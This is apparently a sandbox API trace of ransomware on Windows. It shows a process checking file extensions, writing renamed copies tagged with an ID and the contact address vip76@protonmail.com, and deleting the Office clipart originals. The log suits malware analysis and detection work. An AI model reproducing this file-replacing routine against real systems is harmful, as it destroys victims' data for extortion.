	[0186.026] ReadFile (in: hFile=0x5b8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xe392, lpOverlapped=0x0) returned 1
	[0186.133] WriteFile (in: hFile=0x368, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xe3a0, lpOverlapped=0x0) returned 1
	[0186.135] ReadFile (in: hFile=0x5b8, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.135] WriteFile (in: hFile=0x368, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.135] SetEndOfFile (hFile=0x368) returned 1
	[0186.135] CloseHandle (hObject=0x368) returned 1
	[0186.135] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.135] SetEndOfFile (hFile=0x5b8) returned 1
	[0186.208] CloseHandle (hObject=0x5b8) returned 1
	[0186.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1
	[0186.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.946] lstrlenW (lpString=".doc") returned 4
	[0186.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.946] lstrlenW (lpString=".docx") returned 5
	[0186.946] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0186.946] lstrlenW (lpString=".pdf") returned 4
	[0186.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.946] lstrlenW (lpString=".xls") returned 4
	[0186.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.946] lstrlenW (lpString=".xlsx") returned 5
	[0186.946] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0186.946] lstrlenW (lpString=".ppt") returned 4
	[0186.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.947] lstrlenW (lpString=".zip") returned 4
	[0186.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.947] lstrlenW (lpString=".rar") returned 4
	[0186.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.947] lstrlenW (lpString=".bz2") returned 4
	[0186.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.947] lstrlenW (lpString=".7z") returned 3
	[0186.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.947] lstrlenW (lpString=".dbf") returned 4
	[0186.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.947] lstrlenW (lpString=".1cd") returned 4
	[0186.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.947] lstrlenW (lpString=".jpg") returned 4
	[0186.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.947] lstrlenW (lpString=".doc") returned 4
	[0186.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.948] lstrlenW (lpString=".docx") returned 5
	[0186.948] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0186.948] lstrlenW (lpString=".pdf") returned 4
	[0186.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.948] lstrlenW (lpString=".xls") returned 4
	[0186.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.948] lstrlenW (lpString=".xlsx") returned 5
	[0186.948] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0186.948] lstrlenW (lpString=".ppt") returned 4
	[0186.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.948] lstrlenW (lpString=".zip") returned 4
	[0186.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.948] lstrlenW (lpString=".rar") returned 4
	[0186.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.948] lstrlenW (lpString=".bz2") returned 4
	[0186.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.948] lstrlenW (lpString=".7z") returned 3
	[0186.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.948] lstrlenW (lpString=".dbf") returned 4
	[0186.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.948] lstrlenW (lpString=".1cd") returned 4
	[0186.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0186.948] lstrlenW (lpString=".jpg") returned 4
	[0186.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.949] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.949] lstrlenW (lpString="J0099181.WMF") returned 12
	[0186.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0186.965] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1198) returned 1
	[0186.965] CloseHandle (hObject=0x510) returned 1
	[0186.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220
	[0186.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0186.966] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.966] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0186.967] GetLastError () returned 0x0
	[0186.967] ReadFile (in: hFile=0x510, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x4ae, lpOverlapped=0x0) returned 1
	[0186.991] WriteFile (in: hFile=0x5ac, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x4b0, lpOverlapped=0x0) returned 1
	[0186.992] ReadFile (in: hFile=0x510, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.992] WriteFile (in: hFile=0x5ac, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0186.992] SetEndOfFile (hFile=0x5ac) returned 1
	[0186.992] CloseHandle (hObject=0x5ac) returned 1
	[0186.993] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.993] SetEndOfFile (hFile=0x510) returned 1
	[0186.995] CloseHandle (hObject=0x510) returned 1
	[0186.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1
	[0186.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.996] lstrlenW (lpString=".doc") returned 4
	[0186.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.997] lstrlenW (lpString=".docx") returned 5
	[0186.997] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0186.997] lstrlenW (lpString=".pdf") returned 4
	[0186.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.997] lstrlenW (lpString=".xls") returned 4
	[0186.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.997] lstrlenW (lpString=".xlsx") returned 5
	[0186.997] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0186.997] lstrlenW (lpString=".ppt") returned 4
	[0186.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.997] lstrlenW (lpString=".zip") returned 4
	[0186.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.997] lstrlenW (lpString=".rar") returned 4
	[0186.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.997] lstrlenW (lpString=".bz2") returned 4
	[0186.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.997] lstrlenW (lpString=".7z") returned 3
	[0186.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.997] lstrlenW (lpString=".dbf") returned 4
	[0186.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.997] lstrlenW (lpString=".1cd") returned 4
	[0186.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.997] lstrlenW (lpString=".jpg") returned 4
	[0186.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.998] lstrlenW (lpString=".doc") returned 4
	[0186.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0186.998] lstrlenW (lpString=".docx") returned 5
	[0186.998] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0186.998] lstrlenW (lpString=".pdf") returned 4
	[0186.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0186.998] lstrlenW (lpString=".xls") returned 4
	[0186.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0186.998] lstrlenW (lpString=".xlsx") returned 5
	[0186.998] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0186.998] lstrlenW (lpString=".ppt") returned 4
	[0186.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0186.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.998] lstrlenW (lpString=".zip") returned 4
	[0186.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0186.998] lstrlenW (lpString=".rar") returned 4
	[0186.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0186.998] lstrlenW (lpString=".bz2") returned 4
	[0186.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0186.998] lstrlenW (lpString=".7z") returned 3
	[0186.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0186.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.998] lstrlenW (lpString=".dbf") returned 4
	[0186.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0186.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.999] lstrlenW (lpString=".1cd") returned 4
	[0186.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0186.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68
	[0186.999] lstrlenW (lpString=".jpg") returned 4
	[0186.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0186.999] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0186.999] lstrlenW (lpString="J0099184.WMF") returned 12
	[0186.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.000] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4118) returned 1
	[0187.000] CloseHandle (hObject=0x510) returned 1
	[0187.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220
	[0187.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.000] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.000] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0187.001] GetLastError () returned 0x0
	[0187.001] ReadFile (in: hFile=0x510, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1016, lpOverlapped=0x0) returned 1
	[0187.019] WriteFile (in: hFile=0x5ac, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1020, lpOverlapped=0x0) returned 1
	[0187.020] ReadFile (in: hFile=0x510, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.020] WriteFile (in: hFile=0x5ac, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.020] SetEndOfFile (hFile=0x5ac) returned 1
	[0187.098] CloseHandle (hObject=0x5ac) returned 1
	[0187.098] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.098] SetEndOfFile (hFile=0x510) returned 1
	[0187.101] CloseHandle (hObject=0x510) returned 1
	[0187.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.363] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1
	[0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.443] lstrlenW (lpString=".doc") returned 4
	[0187.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.443] lstrlenW (lpString=".docx") returned 5
	[0187.443] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0187.443] lstrlenW (lpString=".pdf") returned 4
	[0187.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.443] lstrlenW (lpString=".xls") returned 4
	[0187.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.443] lstrlenW (lpString=".xlsx") returned 5
	[0187.443] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0187.443] lstrlenW (lpString=".ppt") returned 4
	[0187.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.443] lstrlenW (lpString=".zip") returned 4
	[0187.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.443] lstrlenW (lpString=".rar") returned 4
	[0187.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.443] lstrlenW (lpString=".bz2") returned 4
	[0187.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.443] lstrlenW (lpString=".7z") returned 3
	[0187.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.443] lstrlenW (lpString=".dbf") returned 4
	[0187.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.444] lstrlenW (lpString=".1cd") returned 4
	[0187.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.444] lstrlenW (lpString=".jpg") returned 4
	[0187.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.444] lstrlenW (lpString=".doc") returned 4
	[0187.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.444] lstrlenW (lpString=".docx") returned 5
	[0187.444] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0187.444] lstrlenW (lpString=".pdf") returned 4
	[0187.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.444] lstrlenW (lpString=".xls") returned 4
	[0187.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.444] lstrlenW (lpString=".xlsx") returned 5
	[0187.444] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0187.444] lstrlenW (lpString=".ppt") returned 4
	[0187.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.444] lstrlenW (lpString=".zip") returned 4
	[0187.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.445] lstrlenW (lpString=".rar") returned 4
	[0187.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.445] lstrlenW (lpString=".bz2") returned 4
	[0187.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.445] lstrlenW (lpString=".7z") returned 3
	[0187.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.445] lstrlenW (lpString=".dbf") returned 4
	[0187.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.445] lstrlenW (lpString=".1cd") returned 4
	[0187.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68
	[0187.445] lstrlenW (lpString=".jpg") returned 4
	[0187.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.445] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0187.445] lstrlenW (lpString="J0099188.JPG") returned 12
	[0187.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0187.578] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=9080) returned 1
	[0187.579] CloseHandle (hObject=0x428) returned 1
	[0187.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220
	[0187.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0187.589] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.589] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0187.591] GetLastError () returned 0x0
